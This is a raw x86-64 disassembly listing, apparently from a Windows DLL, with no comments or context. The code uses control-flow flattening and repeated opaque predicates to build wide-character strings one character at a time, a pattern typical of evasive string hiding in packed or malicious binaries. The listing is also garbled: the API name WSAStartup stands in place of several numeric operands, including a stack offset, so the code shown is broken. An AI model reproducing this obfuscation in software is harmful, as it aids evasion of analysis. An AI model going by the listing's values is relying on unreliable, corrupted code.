mov edx, 0x1b304c9b
jmp 0x1800b6820
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
add cl, 0x65
mov edx, 0xeae3817
jmp 0x1800b67f0
mov dword [rsp + 0x70], 0x65
mov dword [rsp + 0x298], ecx
mov eax, dword [rsp + 0x70]
add eax, dword [rsp + 0x298]
mov word [rsp + 0x1b0], ax
lea rax, [rsp + 0x1b2]
mov qword [rsp + 0x70], rax
mov eax, 0xa13056f
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0x6f033c33
je 0x1800b869d
cmp eax, 0xa13056f
jne 0x1800b6890
mov eax, dword [0x1801298a8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rsp + 0x60]
mov ecx, dword [0x1801298ac]
mov eax, 0xd2fca98e
mov edx, 0xebe17d3
cmove eax, edx
cmp ecx, 0xa
setl byte [rsp + 0x58]
cmovl eax, edx
mov edx, 0x4e6cc85c
nop dword [rax]
cmp edx, 0x1fbde8f1
jg 0x1800b6910
cmp edx, 0xd2fca98e
je 0x1800b6945
cmp edx, 0xebe17d3
je 0x1800b694c
cmp edx, 0x18f93051
jne 0x1800b68e0
jmp 0x1800b6992
cmp edx, 0x1fbde8f2
je 0x1800b6953
cmp edx, 0x5f0dfb2f
je 0x1800b6957
cmp edx, 0x4e6cc85c
jne 0x1800b68e0
mov bl, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov edx, 0xd2fca98e
mov ebp, 0x1fbde8f2
cmovne edx, ebp
test bl, bl
cmovne edx, ebp
jmp 0x1800b68e0
mov edx, 0x1fbde8f2
jmp 0x1800b68e0
mov edx, 0x5f0dfb2f
jmp 0x1800b68e0
mov edx, eax
jmp 0x1800b68e0
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b6972
cmp ecx, 0x3e50374a
jne 0x1800b6960
jmp 0x1800b6979
mov ecx, 0x3e50374a
jmp 0x1800b6960
mov dword [rsp + 0x40], 3
mov ecx, dword [rsp + 0x40]
movzx ecx, cx
mov edx, 0x18f93051
jmp 0x1800b68e0
mov dword [rsp + 0x48], 0x63
mov dword [rsp + 0x40], ecx
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x70]
mov word [rcx], ax
mov r8, qword [rsp + 0x70]
mov ecx, dword [0x1801298a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rsp + 0x60]
mov ecx, dword [0x1801298ac]
mov ebp, 0xd2fca98e
mov eax, 0xebe17d3
cmove ebp, eax
cmp ecx, 0xa
setl byte [rsp + 0x58]
cmovl ebp, eax
mov ecx, 0x4e6cc85c
nop word [rax + rax]
cmp ecx, 0x1fbde8f1
jg 0x1800b6a20
cmp ecx, 0xd2fca98e
je 0x1800b6a55
cmp ecx, 0xebe17d3
je 0x1800b6a5c
cmp ecx, 0x18f93051
jne 0x1800b69f0
jmp 0x1800b6aa2
cmp ecx, 0x1fbde8f2
je 0x1800b6a63
cmp ecx, 0x5f0dfb2f
je 0x1800b6a67
cmp ecx, 0x4e6cc85c
jne 0x1800b69f0
mov bl, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov eax, 0x1fbde8f2
cmovne ecx, eax
test bl, bl
cmovne ecx, eax
jmp 0x1800b69f0
mov ecx, 0x1fbde8f2
jmp 0x1800b69f0
mov ecx, 0x5f0dfb2f
jmp 0x1800b69f0
mov ecx, ebp
jmp 0x1800b69f0
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b6a82
cmp ecx, 0x3e50374a
jne 0x1800b6a70
jmp 0x1800b6a89
mov ecx, 0x3e50374a
jmp 0x1800b6a70
mov dword [rsp + 0x40], 3
mov ecx, dword [rsp + 0x40]
movzx edx, cx
mov ecx, 0x18f93051
jmp 0x1800b69f0
mov dword [rsp + 0x48], 0x74
mov dword [rsp + 0x40], edx
mov ecx, dword [rsp + 0x48]
add ecx, dword [rsp + 0x40]
mov word [r8 + 2], cx
mov ecx, dword [0x1801298a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rsp + 0x60]
mov esi, dword [0x1801298ac]
mov ebx, 0xd2fca98e
mov eax, 0xebe17d3
cmove ebx, eax
cmp esi, 0xa
setl byte [rsp + 0x58]
cmovl ebx, eax
mov ecx, 0x4e6cc85c
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x1fbde8f1
jg 0x1800b6b30
cmp ecx, 0xd2fca98e
je 0x1800b6b65
cmp ecx, 0xebe17d3
je 0x1800b6b6c
cmp ecx, 0x18f93051
jne 0x1800b6b00
jmp 0x1800b6bb2
cmp ecx, 0x1fbde8f2
je 0x1800b6b73
cmp ecx, 0x5f0dfb2f
je 0x1800b6b77
cmp ecx, 0x4e6cc85c
jne 0x1800b6b00
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b6b00
mov ecx, 0x1fbde8f2
jmp 0x1800b6b00
mov ecx, 0x5f0dfb2f
jmp 0x1800b6b00
mov ecx, ebx
jmp 0x1800b6b00
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b6b92
cmp ecx, 0x3e50374a
jne 0x1800b6b80
jmp 0x1800b6b99
mov ecx, 0x3e50374a
jmp 0x1800b6b80
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b6b00
mov dword [rsp + 0x48], 0x69
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 4], ax
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b6c10
cmp ecx, 0xd2fca98e
je 0x1800b6c45
cmp ecx, 0xebe17d3
je 0x1800b6c4c
cmp ecx, 0x18f93051
jne 0x1800b6be0
jmp 0x1800b6c92
cmp ecx, 0x1fbde8f2
je 0x1800b6c53
cmp ecx, 0x5f0dfb2f
je 0x1800b6c57
cmp ecx, 0x4e6cc85c
jne 0x1800b6be0
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b6be0
mov ecx, 0x1fbde8f2
jmp 0x1800b6be0
mov ecx, 0x5f0dfb2f
jmp 0x1800b6be0
mov ecx, ebx
jmp 0x1800b6be0
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b6c72
cmp ecx, 0x3e50374a
jne 0x1800b6c60
jmp 0x1800b6c79
mov ecx, 0x3e50374a
jmp 0x1800b6c60
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b6be0
mov dword [rsp + 0x48], WSAStartup
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 6], ax
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b6cf0
cmp ecx, 0xd2fca98e
je 0x1800b6d25
cmp ecx, 0xebe17d3
je 0x1800b6d2c
cmp ecx, 0x18f93051
jne 0x1800b6cc0
jmp 0x1800b6d72
cmp ecx, 0x1fbde8f2
je 0x1800b6d33
cmp ecx, 0x5f0dfb2f
je 0x1800b6d37
cmp ecx, 0x4e6cc85c
jne 0x1800b6cc0
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b6cc0
mov ecx, 0x1fbde8f2
jmp 0x1800b6cc0
mov ecx, 0x5f0dfb2f
jmp 0x1800b6cc0
mov ecx, ebx
jmp 0x1800b6cc0
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b6d52
cmp ecx, 0x3e50374a
jne 0x1800b6d40
jmp 0x1800b6d59
mov ecx, 0x3e50374a
jmp 0x1800b6d40
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b6cc0
mov dword [rsp + 0x48], WSAStartup
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 8], ax
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b6dd0
cmp ecx, 0xd2fca98e
je 0x1800b6e05
cmp ecx, 0xebe17d3
je 0x1800b6e0c
cmp ecx, 0x18f93051
jne 0x1800b6da0
jmp 0x1800b6e52
cmp ecx, 0x1fbde8f2
je 0x1800b6e13
cmp ecx, 0x5f0dfb2f
je 0x1800b6e17
cmp ecx, 0x4e6cc85c
jne 0x1800b6da0
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b6da0
mov ecx, 0x1fbde8f2
jmp 0x1800b6da0
mov ecx, 0x5f0dfb2f
jmp 0x1800b6da0
mov ecx, ebx
jmp 0x1800b6da0
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b6e32
cmp ecx, 0x3e50374a
jne 0x1800b6e20
jmp 0x1800b6e39
mov ecx, 0x3e50374a
jmp 0x1800b6e20
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b6da0
mov dword [rsp + 0x48], 0x3a
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 0xa], ax
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b6eb0
cmp ecx, 0xd2fca98e
je 0x1800b6ee5
cmp ecx, 0xebe17d3
je 0x1800b6eec
cmp ecx, 0x18f93051
jne 0x1800b6e80
jmp 0x1800b6f32
cmp ecx, 0x1fbde8f2
je 0x1800b6ef3
cmp ecx, 0x5f0dfb2f
je 0x1800b6ef7
cmp ecx, 0x4e6cc85c
jne 0x1800b6e80
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b6e80
mov ecx, 0x1fbde8f2
jmp 0x1800b6e80
mov ecx, 0x5f0dfb2f
jmp 0x1800b6e80
mov ecx, ebx
jmp 0x1800b6e80
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b6f12
cmp ecx, 0x3e50374a
jne 0x1800b6f00
jmp 0x1800b6f19
mov ecx, 0x3e50374a
jmp 0x1800b6f00
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b6e80
mov dword [rsp + 0x48], 0x20
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 0xc], ax
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b6f90
cmp ecx, 0xd2fca98e
je 0x1800b6fc5
cmp ecx, 0xebe17d3
je 0x1800b6fcc
cmp ecx, 0x18f93051
jne 0x1800b6f60
jmp 0x1800b7012
cmp ecx, 0x1fbde8f2
je 0x1800b6fd3
cmp ecx, 0x5f0dfb2f
je 0x1800b6fd7
cmp ecx, 0x4e6cc85c
jne 0x1800b6f60
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b6f60
mov ecx, 0x1fbde8f2
jmp 0x1800b6f60
mov ecx, 0x5f0dfb2f
jmp 0x1800b6f60
mov ecx, ebx
jmp 0x1800b6f60
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b6ff2
cmp ecx, 0x3e50374a
jne 0x1800b6fe0
jmp 0x1800b6ff9
mov ecx, 0x3e50374a
jmp 0x1800b6fe0
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b6f60
mov dword [rsp + 0x48], 0x6b
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 0xe], ax
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b7070
cmp ecx, 0xd2fca98e
je 0x1800b70a5
cmp ecx, 0xebe17d3
je 0x1800b70ac
cmp ecx, 0x18f93051
jne 0x1800b7040
jmp 0x1800b70f2
cmp ecx, 0x1fbde8f2
je 0x1800b70b3
cmp ecx, 0x5f0dfb2f
je 0x1800b70b7
cmp ecx, 0x4e6cc85c
jne 0x1800b7040
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b7040
mov ecx, 0x1fbde8f2
jmp 0x1800b7040
mov ecx, 0x5f0dfb2f
jmp 0x1800b7040
mov ecx, ebx
jmp 0x1800b7040
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b70d2
cmp ecx, 0x3e50374a
jne 0x1800b70c0
jmp 0x1800b70d9
mov ecx, 0x3e50374a
jmp 0x1800b70c0
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b7040
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 0x10], ax
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b7150
cmp ecx, 0xd2fca98e
je 0x1800b7185
cmp ecx, 0xebe17d3
je 0x1800b718c
cmp ecx, 0x18f93051
jne 0x1800b7120
jmp 0x1800b71d2
cmp ecx, 0x1fbde8f2
je 0x1800b7193
cmp ecx, 0x5f0dfb2f
je 0x1800b7197
cmp ecx, 0x4e6cc85c
jne 0x1800b7120
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b7120
mov ecx, 0x1fbde8f2
jmp 0x1800b7120
mov ecx, 0x5f0dfb2f
jmp 0x1800b7120
mov ecx, ebx
jmp 0x1800b7120
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b71b2
cmp ecx, 0x3e50374a
jne 0x1800b71a0
jmp 0x1800b71b9
mov ecx, 0x3e50374a
jmp 0x1800b71a0
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b7120
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 0x12], ax
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b7230
cmp ecx, 0xd2fca98e
je 0x1800b7265
cmp ecx, 0xebe17d3
je 0x1800b726c
cmp ecx, 0x18f93051
jne 0x1800b7200
jmp 0x1800b72b2
cmp ecx, 0x1fbde8f2
je 0x1800b7273
cmp ecx, 0x5f0dfb2f
je 0x1800b7277
cmp ecx, 0x4e6cc85c
jne 0x1800b7200
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b7200
mov ecx, 0x1fbde8f2
jmp 0x1800b7200
mov ecx, 0x5f0dfb2f
jmp 0x1800b7200
mov ecx, ebx
jmp 0x1800b7200
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b7292
cmp ecx, 0x3e50374a
jne 0x1800b7280
jmp 0x1800b7299
mov ecx, 0x3e50374a
jmp 0x1800b7280
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b7200
mov dword [rsp + 0x48], WSAStartup
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 0x14], ax
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b7310
cmp ecx, 0xd2fca98e
je 0x1800b7345
cmp ecx, 0xebe17d3
je 0x1800b734c
cmp ecx, 0x18f93051
jne 0x1800b72e0
jmp 0x1800b7392
cmp ecx, 0x1fbde8f2
je 0x1800b7353
cmp ecx, 0x5f0dfb2f
je 0x1800b7357
cmp ecx, 0x4e6cc85c
jne 0x1800b72e0
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b72e0
mov ecx, 0x1fbde8f2
jmp 0x1800b72e0
mov ecx, 0x5f0dfb2f
jmp 0x1800b72e0
mov ecx, ebx
jmp 0x1800b72e0
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b7372
cmp ecx, 0x3e50374a
jne 0x1800b7360
jmp 0x1800b7379
mov ecx, 0x3e50374a
jmp 0x1800b7360
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b72e0
mov dword [rsp + 0x48], 0x2d
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
test dl, 1
mov word [r8 + 0x16], ax
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
cmp ecx, 0x1fbde8f1
jg 0x1800b73f0
cmp ecx, 0xd2fca98e
je 0x1800b7425
cmp ecx, 0xebe17d3
je 0x1800b742c
cmp ecx, 0x18f93051
jne 0x1800b73c0
jmp 0x1800b7472
cmp ecx, 0x1fbde8f2
je 0x1800b7433
cmp ecx, 0x5f0dfb2f
je 0x1800b7437
cmp ecx, 0x4e6cc85c
jne 0x1800b73c0
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov edi, 0x1fbde8f2
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x1800b73c0
mov ecx, 0x1fbde8f2
jmp 0x1800b73c0
mov ecx, 0x5f0dfb2f
jmp 0x1800b73c0
mov ecx, ebx
jmp 0x1800b73c0
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b7452
cmp ecx, 0x3e50374a
jne 0x1800b7440
jmp 0x1800b7459
mov ecx, 0x3e50374a
jmp 0x1800b7440
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebp, ax
mov ecx, 0x18f93051
jmp 0x1800b73c0
mov dword [rsp + 0x48], 0x61
mov dword [rsp + 0x40], ebp
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
lea rcx, [r8 + 0x1a]
test dl, 1
mov word [r8 + 0x18], ax
mov qword [rsp + 0x298], rcx
sete byte [rsp + 0x60]
cmp esi, 0xa
setl byte [rsp + 0x58]
mov ecx, 0x4e6cc85c
nop dword [rax]
cmp ecx, 0x1fbde8f1
jg 0x1800b74e0
cmp ecx, 0xd2fca98e
je 0x1800b7515
cmp ecx, 0xebe17d3
je 0x1800b751c
cmp ecx, 0x18f93051
jne 0x1800b74b0
jmp 0x1800b7560
cmp ecx, 0x1fbde8f2
je 0x1800b7523
cmp ecx, 0x5f0dfb2f
je 0x1800b7527
cmp ecx, 0x4e6cc85c
jne 0x1800b74b0
mov dl, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov ebp, 0x1fbde8f2
cmovne ecx, ebp
test dl, dl
cmovne ecx, ebp
jmp 0x1800b74b0
mov ecx, 0x1fbde8f2
jmp 0x1800b74b0
mov ecx, 0x5f0dfb2f
jmp 0x1800b74b0
mov ecx, ebx
jmp 0x1800b74b0
mov eax, 0x35207f2b
nop dword [rax]
cmp eax, 0x35207f2b
je 0x1800b7540
cmp eax, 0x3e50374a
jne 0x1800b7530
jmp 0x1800b7547
mov eax, 0x3e50374a
jmp 0x1800b7530
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx eax, ax
mov ecx, 0x18f93051
jmp 0x1800b74b0
mov dword [rsp + 0x48], WSAStartup
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x298]
mov word [rcx], ax
mov eax, 0x6f033c33
jmp 0x1800b6890
mov byte [rsp + 0x40], cl
mov cl, byte [rsp + 0x40]
mov byte [rax + 3], cl
mov edx, 0xdfbe209
nop dword [rax]
cmp edx, 0xeae3817
je 0x1800b8792
cmp edx, 0xdfbe209
jne 0x1800b75a0
mov dword [rsp + 0x40], 0
mov edx, 0x698c8bdd
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1b304c9b
je 0x1800b75eb
cmp edx, 0x698c8bdd
jne 0x1800b75d0
mov ecx, dword [rsp + 0x40]
mov edx, 0x1b304c9b
jmp 0x1800b75d0
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
add cl, 0x65
mov edx, 0xeae3817
jmp 0x1800b75a0
mov dword [rsp + 0x40], 0x3a
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 2], dx
mov edx, 0x66a53b08
nop
cmp edx, 0x45c64127
je 0x1800b880d
cmp edx, 0x66a53b08
jne 0x1800b7620
mov ecx, 0x32175fe9
nop dword [rax]
cmp ecx, 0x32175fe9
je 0x1800b7652
cmp ecx, 0x9dbef50
jne 0x1800b7640
jmp 0x1800b7659
mov ecx, 0x9dbef50
jmp 0x1800b7640
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800b7620
mov dword [rsp + WSAStartup], 0x70
mov word [rsp + 0x40], bp
movzx eax, word [rsp + 0x40]
mov edx, dword [rsp + 0x70]
add dx, ax
test cl, 1
mov word [rsp + 0x2a0], dx
sete byte [rsp + 0x58]
cmp edi, 0xa
setl byte [rsp + 0x48]
mov eax, 0xe371ccc2
nop
cmp eax, 0x117a5aa1
jle 0x1800b76f0
cmp eax, 0x117a5aa2
je 0x1800b7709
cmp eax, 0x352435fc
je 0x1800b7710
cmp eax, 0x36430429
jne 0x1800b76c0
jmp 0x1800b8899
cmp eax, 0xc93ff860
je 0x1800b7737
cmp eax, 0xe371ccc2
je 0x1800b773e
cmp eax, 0x369743b
jne 0x1800b76c0
mov eax, ebx
jmp 0x1800b76c0
mov eax, 0x369743b
jmp 0x1800b76c0
mov eax, 0x1c61ffe1
nop word cs:[rax + rax]
nop
cmp eax, 0x1c61ffe1
je 0x1800b7730
cmp eax, 0xe0743747
jne 0x1800b7720
jmp 0x1800b775e
mov eax, 0xe0743747
jmp 0x1800b7720
mov eax, 0x352435fc
jmp 0x1800b76c0
mov dl, byte [rsp + 0x58]
cmp byte [rsp + 0x48], 0
mov eax, 0x117a5aa2
mov esi, 0x369743b
cmovne eax, esi
test dl, dl
cmovne eax, esi
jmp 0x1800b76c0
mov dword [rsp + 0x70], 6
mov ebp, dword [rsp + 0x70]
mov eax, 0x36430429
jmp 0x1800b76c0
mov word [rsp + 0x40], cx
movzx ecx, word [rsp + 0x40]
mov word [rax + 8], cx
mov dword [rsp + 0x48], 0x3a
mov edx, 0x21587ead
nop
cmp edx, 0x8cf96cc
je 0x1800b8984
cmp edx, 0x21587ead
jne 0x1800b7790
mov dword [rsp + 0x40], 0x33d6
mov edx, 0x13896f2d
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xefcd29e
je 0x1800b77f8
cmp edx, 0x13896f2d
jne 0x1800b77c0
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0xefcd29e
jmp 0x1800b77c0
mov word [rsp + 0x58], cx
movzx edx, word [rsp + 0x58]
mov ecx, dword [rsp + 0x48]
add cx, dx
mov edx, 0x8cf96cc
jmp 0x1800b7790
mov byte [rsp + 0x298], al
mov al, byte [rsp + 0x298]
mov edx, dword [rsp + 0x70]
add dl, al
mov byte [rsp + 0x16c], dl
mov dword [rsp + 0x70], 0x74
mov edx, 0x1de76d63
nop dword [rax + rax]
cmp edx, 0xa132f20c
je 0x1800b8a20
cmp edx, 0x1de76d63
jne 0x1800b7840
mov eax, 0x150df70d
nop dword [rax]
cmp eax, 0x150df70c
jle 0x1800b7890
cmp eax, 0x5225b5c7
je 0x1800b78df
cmp eax, 0x3c788574
je 0x1800b78a2
cmp eax, 0x150df70d
jne 0x1800b7860
mov dword [rsp + 0x298], 0x56
mov eax, 0xcdaf8623
jmp 0x1800b7860
cmp eax, 0xc47262e3
je 0x1800b78ca
cmp eax, 0xcdaf8623
jne 0x1800b7860
mov eax, ecx
jmp 0x1800b7860
movsxd rdx, dword [rsp + 0x298]
imul rax, rdx, 0x4ec4ec4f
mov rbx, rax
shr rbx, 0x3f
shr rax, 0x22
add eax, ebx
lea ebx, [rax + rax*2]
lea eax, [rax + rbx*4]
sub edx, eax
mov eax, ebp
jmp 0x1800b7860
mov eax, dword [rsp + 0x298]
mov eax, dword [rsp + 0x298]
mov eax, 0x3c788574
jmp 0x1800b7860
mov byte [rsp + 0x40], dl
mov al, byte [rsp + 0x40]
mov edx, 0xa132f20c
jmp 0x1800b7840
mov dword [rsp + 0x70], 0x65
mov dword [rsp + 0x298], ecx
mov eax, dword [rsp + 0x70]
add eax, dword [rsp + 0x298]
mov word [rsp + 0x1b0], ax
lea rax, [rsp + 0x1b2]
mov qword [rsp + 0x70], rax
mov eax, 0xa13056f
nop word cs:[rax + rax]
nop
cmp eax, 0x6f033c33
je 0x1800b8b01
cmp eax, 0xa13056f
jne 0x1800b7930
mov eax, dword [0x1801298a8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rsp + 0x60]
mov ecx, dword [0x1801298ac]
mov eax, 0xd2fca98e
mov edx, 0xebe17d3
cmove eax, edx
cmp ecx, 0xa
setl byte [rsp + 0x58]
cmovl eax, edx
mov edx, 0x4e6cc85c
nop dword [rax]
cmp edx, 0x1fbde8f1
jg 0x1800b79b0
cmp edx, 0xd2fca98e
je 0x1800b79e5
cmp edx, 0xebe17d3
je 0x1800b79ec
cmp edx, 0x18f93051
jne 0x1800b7980
jmp 0x1800b7a32
cmp edx, 0x1fbde8f2
je 0x1800b79f3
cmp edx, 0x5f0dfb2f
je 0x1800b79f7
cmp edx, 0x4e6cc85c
jne 0x1800b7980
mov bl, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov edx, 0xd2fca98e
mov ebp, 0x1fbde8f2
cmovne edx, ebp
test bl, bl
cmovne edx, ebp
jmp 0x1800b7980
mov edx, 0x1fbde8f2
jmp 0x1800b7980
mov edx, 0x5f0dfb2f
jmp 0x1800b7980
mov edx, eax
jmp 0x1800b7980
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b7a12
cmp ecx, 0x3e50374a
jne 0x1800b7a00
jmp 0x1800b7a19
mov ecx, 0x3e50374a
jmp 0x1800b7a00
mov dword [rsp + 0x40], 3
mov ecx, dword [rsp + 0x40]
movzx ecx, cx
mov edx, 0x18f93051
jmp 0x1800b7980
mov dword [rsp + 0x48], 0x63
mov dword [rsp + 0x40], ecx
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x70]
